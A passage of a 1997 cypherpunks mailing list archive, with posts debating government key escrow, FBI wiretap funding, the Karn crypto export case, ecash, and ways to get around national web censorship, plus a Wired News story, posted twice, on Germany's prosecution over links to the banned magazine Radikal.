In today's (22 Jan 97) Long Island, NY Newsday Viewpoints, p. A31:

"Let Feds Overheard Cellular-Phone Talk"
by David Kahn (an editor at Newsday and author of "The Codebreakers")

He intones the usual horseman: "...such criminals as terrorists, drug-
runners, kidnappers and child-pornographers are increasingly using 
encryption to conceal their plans and activities, the FBI says."

He also mis-states opponenents of GAK positions, claimingthe 
criticism is that "key escrow [at least he doesn't call it key 
recovery] won't work all the time", ignoring anti-GAK mentions of 
COINTELPRO, J.Edgar Stalin^H^H^H^H^H^HHoover, etc. etc.
And the usual nonsense about "every day that criminal messages can be 
heard is a gain" w/out noting that anyone smart enough to use crypto 
now will not use it if GAK is fully implemented.

Newsday is part of the LA Times Syndicate, so member papers may also 
have the same viewpoint appearing in their pages within the next 
couple of days.

Their website is http://www.newsday.com ... I don't know if the 
viewpoint is on-line there.

Rob



-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 22 Jan 1997 08:56:52 -0800 (PST)
To: Bill Stewart <jcr@idiom.com>
Subject: Re: Donna Rice, etc.
Message-ID: <199701221656.IAA25918@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:50 am -0500 1/22/97, Bill Stewart wrote:
>>Yes, it's the very same Bimbo who scuttled Gary Hart's campaign,
>I think you have to give Gary all the credit for that;
>the "Hey, I'm not doing anything wrong and you could follow me
>around 24 hours a day and not find anything" bit convinced me that
>Hart was a major flake

A pal of mine from Mizzou was the photographer who took the Donna/Gary
lap-sit photo.

He got the Pulitzer prize.

Whole episode says more about American "journalism" than anything else, and
*I'm* a congenital Republican.

ObGeodesicMarkets: It was a joke about Donna Rice that got me thinking
about the speed of information propagation in the capital markets. ("What
did Donna Rice say when the reporters caught her leaving Gary Hart's house?
She said she was taking a poll. <hyuk!>)  The joke appeared on the Morgan
Stanley equity trading desk no more than 15 minutes after the story hit the
Reuter's newswire. In that time, the joke was thought up, somewhere in the
world, and disseminated all over, ending up in the midwestern hinterlands
of Chicago, by way of London. Since trading desks talk to each other with
direct lines, the network formed by them is a geodesic one, even though
people are the "switches".

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 22 Jan 1997 08:55:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <199701221655.IAA25895@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Yep, thanks for the pointer, Rob. Kahn's online at:

   http://www.newsday.com/mainnews/rnmi0522.htm

Anybody unable to access, send us a note:

KAH_nak







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 22 Jan 1997 11:27:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Aussie Ecash at Advance Bank
Message-ID: <199701221927.LAA27547@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
MIME-Version: 1.0
Precedence: Bulk
Date: Wed, 22 Jan 1997 16:42:59 +0100
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Aussie Ecash at Advance Bank

<snipped Received headers>
From: Edward Breese x1364 <edwardb@executive.advance.com.au>
To: ecash-merchant <ecash-merchant@advance.com.au>
Subject: ecash - latest news
Date: Tue, 21 Jan 97 17:44:00 EST
Message-Id: <32E47395@central.advance.com.au>
Encoding: 41 TEXT
X-Mailer: Microsoft Mail V3.0
Sender: ecash-merchant-request@whitetail.advance.com.au
Resent-Message-Id: <B0000000184@whitetail.advance.com.au>
Resent-From: ecash-merchant@whitetail.advance.com.au
X-Unsub: To leave, send text 'LEAVE' to
<ecash-merchant-request@whitetail.advance.com.au>


Dear ecash  enthusiast,

A short note to let you know that the ecash System Integrators kit was
posted on the Internet last week.
You can find it at: www.advance.com.au/advance/ecash/sysint.htm

We are currently testing the ecash system internally here at Advance Bank.
 We hope to make the merchant software available for free download in the
next 2-3 weeks - you will then be able to start building and testing your
ecash enabled web sites.

There will also be supporting documentation, such as:
 - the ecash merchant information kit
 - how to build an ecash shop
 - ecash usage guidelines etc

Thank you again for your interest.  We'll let you know as soon as the
software is available for download.

Advance Bank




Subscription Information
========================

To subscribe to the ecash mailing list by e-mail:
Send an email message to ecash-merchant-request@advance.com.au and in the
BODY of the message type:

SUBSCRIBE

If you'd like to remove yourself from the ecash mailing list:
Send an email  message to ecash-merchant-request@advance.com.au and in the
body of the message type:

UNSUBSCRIBE






--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Tunnicliffe" <Tunny@inference.com>
Date: Wed, 22 Jan 1997 16:26:18 -0800 (PST)
To: "'WlkngOwl@unix.asb.com>
Subject: RE: David Kahn advocates GAK
Message-ID: <199701230026.QAA01807@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Robert Rothenburg 'Walking-Owl' <WlkngOwl@unix.asb.com> writes:
  > In today's (22 Jan 97) Long Island, NY Newsday Viewpoints, p. A31:
  
  > "Let Feds Overheard Cellular-Phone Talk"
  > by David Kahn (an editor at Newsday and author of "The
Codebreakers")
  
  > He intones the usual horseman: "...such criminals as terrorists,
drug-
  > runners, kidnappers and child-pornographers are increasingly using 
  > encryption to conceal their plans and activities, the FBI says."

Lions and tigers and bears, oh MY!

  > He also mis-states opponenents of GAK positions, claimingthe 
  > criticism is that "key escrow [at least he doesn't call it key 
  > recovery] won't work all the time", ignoring anti-GAK mentions of 
  > COINTELPRO, J.Edgar Stalin^H^H^H^H^H^HHoover, etc. etc.

Actually, I thought he summed up the anti-GAK positions reasonably well,
though he didn't elaborate on them. The "it may not work all the time"
statement was actually an admission of the pro-GAK side. 

  > And the usual nonsense about "every day that criminal messages can
be 
  > heard is a gain" w/out noting that anyone smart enough to use crypto
  > now will not use it if GAK is fully implemented.

I found the logic questionable, but more disturbing was the fundamental
position that "loss of privacy [...] is a price that must be paid to
gain security".  Benjamin Franklin's statement about security and
freedom comes strongly to mind when I hear nonsense like this.  He then
cites the (in "our" view, useless and intrusive) hassles that airline
passengers must endure in the name of "security" as justification for
more of the same!  Talk about a slippery slope! 

  > Newsday is part of the LA Times Syndicate, so member papers may also
  > have the same viewpoint appearing in their pages within the next 
  > couple of days.

  > Their website is http://www.newsday.com ... I don't know if the 
  > viewpoint is on-line there.

It is, at http://www.newsday.com/mainnews/rnmi0522.htm

Pretty disappointing stuff, but then Mr. Kahn IS affiliated with the NSA
these days, isn't he?

Tunny
======================================================================
 James A. Tunnicliffe   | WWWeb: http://www.inference.com/~tunny
 Inference Corporation  | PGP Fingerprint:   CA 23 E2 F3 AC 2D 0C 77
 tunny@Inference.com    |                    36 07 D9 33 3D 32 53 9C
======================================================================
-----BEGIN PGP SIGNATURE-----
Version: 4.0 Business Edition
Comment: which I won in the PGP raffle at Cypherpunks 12/96...

iQEVAgUBMuZ1UvAmQsmyRPddAQFO/gf+Ikw8GScPo/+lr00lKvTnF7dZdEYhE8GC
bt7wu96a/4mE81261EwxqA8voI/y5T3RsUfZLeYsGX+wkuPyqK1QImO3A7O8PNnb
AvFitSaNsrMqyKTa7mI63TrvoBDCqtN3vYdDeSl6ZPHJmhHO5MF6xVoA56yeF5xf
h0ooejTgeYMOGMhf2faRCKU31AdFB+pjozxMo83X2ZrCzga8wiHeqlEEKWQnu1cJ
3jc+TVZnEI95idbQqeHvxh/BBRdprrPxBfncCb8wnXuLHxPmrsWGqfvMDpS06qhl
ZWEFChYLDGwsMokvcY+ZOZ6x4jlwssFGDXpflcdjFnPBp3yJKjU7fA==
=/siB
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 22 Jan 1997 11:12:34 -0800 (PST)
To: rwright@adnetsol.com
Subject: Re: FBI Gets 500 Mil to Tap Your Communications
Message-ID: <199701221912.LAA27317@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rwright@adnetsol.com"  "Ross Wright" 22-JAN-1997 02:52:34.76

>at [8]. Unlike the earlier draft, this essay lays out its assumptions
>and straightforwardly projects needed capacity growth. The result is
>a capacity figure of fewer than 60,000 intercepts, less that 4% of
>the original request. This level of capability would allow the FBI
>simultaneously to monitor more than 500 phone lines in an area with
>the population of Manhatta still an enormous increase on historical 
>numbers of intercepts.

[...]

>[8]  <http://www.cdt.org/publications/pp_3.01.html>

	Something that the CDT didn't point out was that basing wiretap
"requirements" on past growth makes two assumptions, both of them invalid:

A. Past wiretaps (& other probes, such as pen registers & tap-and-trace) were
all entirely justified; the growth in their use does not reflect either
use of them in situations they are not required for or use of them in
situations in which government has essentially failed and more resources
poured into the alleged "problems" (e.g., drug trafficing, money laundering,
and pornography) will do less than no good whatsoever.

B. The number of lines will go up at the same rate as the estimated growth
in wiretaps. In regards to this latter one, if they go up at a greater rate,
then the FBI will request expanded capacity; if they go up at a lower rate,
they will assuredly not request a decrease, and will thus ultimately have
the capablility to wiretap _all_ lines.

>Fuck the FBI.

	With a backhoe.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 22 Jan 1997 16:26:13 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Newt's phone calls
Message-ID: <199701230026.QAA01806@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Hallam-baker said:
> Adam Back <aba@dcs.ex.ac.uk> wrote in article <5bp18k$1cc@life.ai.mit.edu>...
> 
> > GSM encrypts only the links to the station - the traffic goes in the
> > clear through the station.  Plus A5 (crypto algorithm used in GSM) is
> > weak, 40 bits of effective key space.
> > 
> > It could be worse to have poor crypto, than no crypto,
> 
> I disagree for two reasons, first there is a big difference between having
> poor locks and no locks. Most locks can be picked by an expert, they are
> effective against many theifs however.
> 
> Second if everyone in the world was using 40 bit email encryption it
> would prevent most of the "promiscuous" interception of communications.

    Third (as Mr. Vulis <insult deleted> observed) the jump from using poor 
crypto to using good crypto is a lot shorter than not using crypto to 
using good crypto. 

    Once people get it in there heads that crypto is good to use, then 
it is easier to convince them to use "unbreakable" crypto than to convince 
non-crypto-users.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 22 Jan 1997 13:25:03 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701222125.NAA28810@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sprach The Thorn:
> Jane Jefferson wrote:
> Jane is showing signs of independent thought.  Tsk tsk.
> > fail, countries would instantly be absorbed by other countries, many
> > relationships based on love and trust would be destroyed.
> > And during that time, the deadliest person alive - the toughest and
> > the meanest, and the most effective in the face of all the chaos, would
> > not be the person who was capable of preserving their privacy. Rather,
> > it would be the one who was capable of surviving in it's complete absence.
> BTW, the suicide rate would not go ballistic, since the suicide rate

    No, but I bet the murder rate would.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 22 Jan 1997 13:29:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
Message-ID: <199701222129.NAA28965@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> Mission:
> 
> Singapore and China are blocking certain net groups. I think
> this is a bad thing, question is how can we stop it? The Web
> was conceived as offering despots and dictators a choice 
> between remaining in the dark ages and allowing freedom of
> speech. Blocking and filtering schemes threaten this ideal.
> 
> 
> Requirements:
> 
> A scheme which makes blocking of individual IP addresses 
> impractical.
<snip>
> Considerations:
> [i.e. areas needing brainstorming]
> 
> 1) Copyright. Clearly copyright holders such as CNN etc would
> need to be involved. Although proxies have long been a part of 
> the Web and the scheme does not threaten their interests it would
> be as well to get them on board at an early stage.

I believe that the new copyright regs explicitly allow web surfing.
Copyright should not be an issue, I think. IANAL.

> 2) How can one prevent the proxies themselves being blocked? Some
> ideas that come to mind:
> 
> 2a) Only issue new sites gradually so that blocking requires
> continuous updates.
> 
> 2b) Use DHCP to change network addresses regularly.
> 
> 2c) Some crypto hack I can't quite work out (hence the post to
> cypher punks). I can phrase the challenge more compactly though.
> We have two sets of opposed groups A and M. The A group wish to
> establish a continued conversation with groups B and C. M is 
> willing to permit communication with group B but not C. Whenever
> M discovers that a member of group B is willing to act on behalf 
> of group C, M transfers that member to the C group.
> 
> The problem is to keep A's channels of communication open despite
> the efforts of M for very large group sizes. 
> 
> I'm not sure if this is a pure crypto challenge or a game theory
> problem.

Secure connections from proxy to client would eliminate driftnet
scanning. That's probably about all the crypto.
One idea would to put /cgi-bin/redirect in all the distributions of
apache, apache-SSL, etc. That way, anyone who cared at all about
privacy or was clueless would have an anonymizer on their web server.
People who really cared could run web spiders that looked for sites
with the redirect, and have cgi-bins that returned a randomized list
of 10 or so. They could periodically post the list to semi-relavent
newsgroups.

The idea here is to reduce the chance of a denial of service attack
against the anonymizer pool. The points of attack that I can think of
are:
 1) Filter out out anonymized connections.
    Crypto helps solves this one. Of course, then the evil empire
    filters out crypto, but that's bad for business.
 2) Make the list of anonymizers dissappear
    This is a bit easier for the bad guys. Stego could help solve
    the problem, especially if combined with crypto. (i.e stego
    the list, encrypted with a few key underground folks public
    keys, into a pic of the great wall of china or something.
 3) Make it illegal to use anonymizers and enforec randomly.
    FUD. I dunno how to solve this one. Put anphetamines in the
    water supply?

> Comments? If people are willing to work on this I can provide 
> some facilities and act as a media contact.

Distribution wins.
(BTW, look at www.anonymizer.com)
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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7oZWxwTO5TDMYtbBRAAZv/d9VyCT/EVE
=OIEP
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Wed, 22 Jan 1997 16:27:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <199701230027.QAA01813@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

It might also be that David's year long sabatical at NSA's crypto museum 
which recently ended put him in touch with people who believe in GAK.

I found it interesting that he noted the argument that each additional
day of government access is a good thing.  This is the kind of belief
we know that NSA holds -- a.k.a. "not on my watch" -- but I haven't seen
it publicly admitted before.

 - Carl

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Version: 2.6.2

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pWjq5Fxahag=
=xhF7
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+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|   PGP 2.6.2: 61 E2 DE 7F CB 9D 79 84  E9 C8 04 8B A6 32 21 A2    |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Wed, 22 Jan 1997 16:26:12 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Manila says ID system not prelude to martial law (fwd)
Message-ID: <199701230026.QAA01800@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Reuters sez:
Message-ID: <Rphilippines-cardUR8Au_7JF@clari.net>

  	  				 
	 MANILA, Jan 15 (Reuter) - Philippine President Fidel Ramos  
on Wednesday dismissed as baseless fears that his order creating 
a national identification system was a prelude to martial law. 

	 ``That is a wild opinion without any basis in fact,'' Ramos  
told his weekly news conference after Cardinal Jaime Sin, the 
outspoken Archbishop of Manila, accused him of being 
authoritarian. 

{We're talking, therefore it's no threat..}

{Sin said it's immoral}  

{Opposition said could be used to monitor political activities,
that it was reminiscent of Marcos.}

	 Officials have said a computerised ID system whereby cards  
issued to citizens by state pension funds would carry reference 
numbers assigned to them for life would make it easier for 
people to transact business with the government and minimise 
fraud. 
	 ``That's all there is to it ... (its) very simple,'' Ramos  
said. 
  	   	


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <Banisar@epic.org>
Date: Wed, 22 Jan 1997 16:56:11 -0800 (PST)
To: dccp@eff.org
Subject: Decision in Karn Case
Message-ID: <199701230056.QAA02134@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


We just received this today. This is in part good news that the appeals
court did not just affirm the lower court decision but on the other hand,
it doesn't give much guidance to the court.

A html version is up at:
http://www.epic.org/crypto/export_controls/karn_decision_1_97.html

Dave



-----------------------------------------------------------

             UNITED STATES COURT OF APPEALS

          FOR THE DISTRICT OF COLUMBIA CIRCUIT


No. 96-5121

Philip R. Karn, Jr.
   v.
U.S. Department of State

        On Appeal from the United States District Court
                 for the District of Columbia

    Before: Williams, Ginsburg, and Rogers, Circuit Judges

                     January 21, 1997

                         JUDGMENT

     In light of the recent Executive Order transferring
regulatory authority of non-military cryptographic computer
source code to the Commerce Department, and the Commerce
Department's promulgation of a new regulation under the authority
of the International Emergency Economic Powers Act, 50 U.S.C. secs.
1701 et seq., we remand this case to the district court to
consider the reviewability of and, if appropriate, the merits of
appellant's claim under the Administrative Procedure Act.
Because "basic tenets of judicial restraint and separation of
powers call upon [the court] first to consider alternative
grounds for resolution" when the court is asked to answer a
question involving the Constitution of the United States,
Lamprecht v. FCC, 958 F.2d 382, 389-90 (D.C. Cir. 1992), we
do not reach the constitutional issues raised by this appeal.

     The clerk is directed to withhold issuance of the mandate
herein until seven days after disposition of any timely petition
for rehearing. See D.C. Cir. Rule 41(a)(2). This instruction to
the Clerk is without prejudice to the right of any party at any
time to move for expedited issuance of the mandate for a good cause
shown.


                               Per Curiam
                               FOR THE COURT:

                                 /s/
                               Mark J. Langer, Clerk


=========================================================================
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Wed, 22 Jan 1997 10:11:24 -0800 (PST)
To: tank@xs4all.nl
Subject: wired news: Germany Gets Radikal About Extremists on Web
Message-ID: <199701221811.KAA26724@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



T O P  S T O R I E S 

       Germany Gets Radikal About Extremists on Web Tuesday - Are the
       German government's tactics for barring extremist material on
       the Internet realistic?


   Germany Gets Radikal About Extremists on Web
   by Rebecca Vesely
   
   5:03 pm PST 21 Jan 97 - The German government, never shy about
   expressing its disdain for left- and right-wing radicals inside its
   borders, has taken to combing the Internet for signs of extremist
   activity.
   
   But Germany's effort to stop the distribution of terrorist manuals and
   Nazi propaganda is like pointing a fire hose at a beehive - instead of
   quashing the bees, it only scatters them, and makes them more
   insistent.
   
   Last week, German authorities filed charges against a member of the
   communist Party of Democratic Socialism (PDS), Angela Marquardt, for
   linking to the banned left-wing magazine Radikal from her homepage,
   causing Net activists to anticipate another incident like that last
   September, when several German ISPs temporarily blocked Radikal's
   server, XS4All. In response, the magazine was mirrored on more than 50
   Web sites around the world.
   
   "The decision to prosecute for linking to Radikal will probably bring
   yet another escalation of events, where this censored magazine will
   become all the more popular on the Net," said Felipe Rodriquez,
   managing director of XS4All, which is based in the Netherlands.
   "Censoring the Internet is usually very counterproductive, and an
   insurance that many people will mirror the information and start
   distributing it."
   
   XS4All, which describes itself as "networking for the masses," hosts
   some 4,600 homepages, and was recently in the news for posting several
   homepages for media banned in Serbia, such as Radio B92, that continue
   to offer via the Web live RealAudio feeds and frequent updates on the
   continued nationwide protests against the Serbian government.
   
   Banned in Germany 12 years ago, and published underground for the past
   decade, Radikal advocates the overthrow of the German government.
   German officials say the magazine's publishers provide terrorist
   information in their pages, including how to sabotage train lines. But
   the publishers argue that they have the right to publish material
   contrary to the German government.
   
   "We fundamentally reject the notion that the state has a monopoly on
   the legitimate use of force," the publishers wrote in an article
   titled "Who We Are" in 1995. "The existing social conditions can only
   be changed if left-radical groups and associations build up their
   abilities and structures so as to be able to counter some of these
   effects even today. This, of course, includes militant and armed
   intervention, but these would be empty gestures if there wasn't also
   some sort of linkage or means of conveying their message."
   
   While publishers continue to produce the magazine in print form
   outside of Germany, sympathizers have been posting it to a homepage on
   XS4All.
   
   "As an act of solidarity with them and with Radikal we decided to put
   it on the Internet and, of course, to frustrate this censorship
   attempt of the German authorities," the sympathizers wrote in an email
   to Wired News. They added that while they had no contact with the
   publishers of Radikal, they are currently being investigated by
   Germany's public prosecutor general and have no plans to "go on
   holiday in Germany."
   
   Although Radikal is not banned in the Netherlands, the German
   government says that linking to the magazine from inside Germany is
   "aiding a felony," spokesman Ruediger Reiff told Reuters. In December,
   Chancellor Helmut Kohl's Cabinet approved a bill banning the
   electronic distribution of forms of hate speech, terrorism, and
   indecent material. The new German law places responsibility on the
   loosely defined "suppliers," and in response, CompuServe considered
   moving its administrative operations to a neighboring country.
   
   PDS member Marquardt says her prosecution has less to do with Radikal,
   than an attempt to quiet German citizens who, like herself, are
   outspoken critics of the government.
   
   "This is hardly about bomb-building instructions or highly detailed
   descriptions of train lines and their weaknesses," Marquardt, who
   could not be reached for comment, wrote in a statement posted on her
   Web site. "The all-too-stubborn guardians of the state will quickly
   learn: The Net interprets censorship as a malfunction and circumvents
   it."
   
   In the meantime, XS4All has not received any official communication
   from the German Justice Department, nor from the Dutch Justice
   Department.
   
   "Our policy is that as a provider we are not in the position to judge
   whether this magazine is illegal in the Netherlands, therefore we do
   not interfere with the liberty of speech of our user," XS4All's
   Rodriquez said.
   
   
   
   
        Copyright =A9 1993-97 Wired Ventures, Inc. and affiliated companies=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Thu, 23 Jan 1997 06:27:55 -0800 (PST)
To: tank@xs4all.nl
Subject: wired news: Germany Gets Radikal About Extremists on Web
Message-ID: <199701231427.GAA15791@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



T O P  S T O R I E S 

       Germany Gets Radikal About Extremists on Web Tuesday - Are the
       German government's tactics for barring extremist material on
       the Internet realistic?


   Germany Gets Radikal About Extremists on Web
   by Rebecca Vesely
   
   5:03 pm PST 21 Jan 97 - The German government, never shy about
   expressing its disdain for left- and right-wing radicals inside its
   borders, has taken to combing the Internet for signs of extremist
   activity.
   
   But Germany's effort to stop the distribution of terrorist manuals and
   Nazi propaganda is like pointing a fire hose at a beehive - instead of
   quashing the bees, it only scatters them, and makes them more
   insistent.
   
   Last week, German authorities filed charges against a member of the
   communist Party of Democratic Socialism (PDS), Angela Marquardt, for
   linking to the banned left-wing magazine Radikal from her homepage,
   causing Net activists to anticipate another incident like that last
   September, when several German ISPs temporarily blocked Radikal's
   server, XS4All. In response, the magazine was mirrored on more than 50
   Web sites around the world.
   
   "The decision to prosecute for linking to Radikal will probably bring
   yet another escalation of events, where this censored magazine will
   become all the more popular on the Net," said Felipe Rodriquez,
   managing director of XS4All, which is based in the Netherlands.
   "Censoring the Internet is usually very counterproductive, and an
   insurance that many people will mirror the information and start
   distributing it."
   
   XS4All, which describes itself as "networking for the masses," hosts
   some 4,600 homepages, and was recently in the news for posting several
   homepages for media banned in Serbia, such as Radio B92, that continue
   to offer via the Web live RealAudio feeds and frequent updates on the
   continued nationwide protests against the Serbian government.
   
   Banned in Germany 12 years ago, and published underground for the past
   decade, Radikal advocates the overthrow of the German government.
   German officials say the magazine's publishers provide terrorist
   information in their pages, including how to sabotage train lines. But
   the publishers argue that they have the right to publish material
   contrary to the German government.
   
   "We fundamentally reject the notion that the state has a monopoly on
   the legitimate use of force," the publishers wrote in an article
   titled "Who We Are" in 1995. "The existing social conditions can only
   be changed if left-radical groups and associations build up their
   abilities and structures so as to be able to counter some of these
   effects even today. This, of course, includes militant and armed
   intervention, but these would be empty gestures if there wasn't also
   some sort of linkage or means of conveying their message."
   
   While publishers continue to produce the magazine in print form
   outside of Germany, sympathizers have been posting it to a homepage on
   XS4All.
   
   "As an act of solidarity with them and with Radikal we decided to put
   it on the Internet and, of course, to frustrate this censorship
   attempt of the German authorities," the sympathizers wrote in an email
   to Wired News. They added that while they had no contact with the
   publishers of Radikal, they are currently being investigated by
   Germany's public prosecutor general and have no plans to "go on
   holiday in Germany."
   
   Although Radikal is not banned in the Netherlands, the German
   government says that linking to the magazine from inside Germany is
   "aiding a felony," spokesman Ruediger Reiff told Reuters. In December,
   Chancellor Helmut Kohl's Cabinet approved a bill banning the
   electronic distribution of forms of hate speech, terrorism, and
   indecent material. The new German law places responsibility on the
   loosely defined "suppliers," and in response, CompuServe considered
   moving its administrative operations to a neighboring country.
   
   PDS member Marquardt says her prosecution has less to do with Radikal,
   than an attempt to quiet German citizens who, like herself, are
   outspoken critics of the government.
   
   "This is hardly about bomb-building instructions or highly detailed
   descriptions of train lines and their weaknesses," Marquardt, who
   could not be reached for comment, wrote in a statement posted on her
   Web site. "The all-too-stubborn guardians of the state will quickly
   learn: The Net interprets censorship as a malfunction and circumvents
   it."
   
   In the meantime, XS4All has not received any official communication
   from the German Justice Department, nor from the Dutch Justice
   Department.
   
   "Our policy is that as a provider we are not in the position to judge
   whether this magazine is illegal in the Netherlands, therefore we do
   not interfere with the liberty of speech of our user," XS4All's
   Rodriquez said.
   
   
   
   
        Copyright =A9 1993-97 Wired Ventures, Inc. and affiliated companies=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 22 Jan 1997 18:12:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701230212.SAA03079@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 22 Jan 1997 03:16:00 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> Jim Choate wrote:
> > 'We' shouldn't, it is their own country and it is up to their populace to
> > stop it. Do you really want Singapore or China having a say in how we run
> > our web? I certainly don't, and won't support any move to force any
> > particular view on them.
> 
>   And Germany was Hitler and the Nazi Party's own country.

And your point is? Are you equating a specific individual or organization
with Hitler or the National Socialist?

>   Do you really want Clinton and GingWretch having a say in how we run
> our

No, and I have a vote to express that sentiment with and a 'press' (ssz.com)
by which I may express my views irrelevant of how that vote may resolve
itself. If the people in those counties want to give away their freedom that
is their business (and right), not mine, yours, or this countries unless
there is evidence they are trying to take their views and impose them here.

Do you have said evidence? In reference to Hitler, had he stayed in his own 
country WWII and the ensuing half century of conflict would most likely not
have occured.

I say, let them filter themselves into economic collapse, intellectual
nihilism, and political suicide. Suicide, assissted or otherwise, is a right
any and all individuals have whether acting as individuals or as groups.
Remember Masada!

Never forget, a tree can exist without a forest but a forest can not exist
without trees. It is a one way street however much some people may want to
convince us otherwise.

>   It may be 'their' country ('their' being the government), but it is 
> 'their' world ('their' being the people).

A goverment is people. This reminds me of the argument of the sanctity of
law that so many people have. It is only ink on paper that people agree to
go along with until they get their fill. Consider, history is full of
examples of this process and with California and Massachusettes move on
legalizing medical marijuana we may be seeing the first move of a return to
states being much more adament on what they can and can't do (per the 9th and
10th).

> There was a reason that the 
> Western powers didn't return East Germans who broke the laws of their
> country by climbing over the wall and running for freedom.
>   Making information available does not 'force' a view on anyone.

If those people agree to support a system that limits or controls what
information they get to see that is their choice. It didn't work in Russia
and it won't work in Singapore or China any better. If the US were to
continue to press forward on oppressive legislation and the people don't do
anything actively to fight it the same thing will happen here, economic
collapse which forces a political collapse. However, we won't get there
because the more the government employees and officials 'crack down' the
more resistance they will get. You can fool most of the people some of the
time, some of the people most of the time, but you can't fool all the people
all the time.

The key to democratic success is not compromise but rather the unwillingness
to compromise.

> > Bull, the web was conceived so physicist and other researchers could share
> > data in a easily digestible format. 
> 
>   No. The internet was conceived so that the DOD could monitor the
> communications
> of physicists and researchers who thought it was awfully nice of the
> government
> to provide this wonderful method of sharing data and information.

The Web does not equal the Internet, straw man argument. The original goal
of the Internet was to allow computers to be connected in a nuclear conflict
and the period afterward when communications would be most critical. How
people may have bastardized it since then does not change the original
reasons (unless you accept revisionist history as a valid endeavour, I don't).

One of the biggest problems this country has right now is the inability of
people like yourself to differentiate the difference between the ideals of
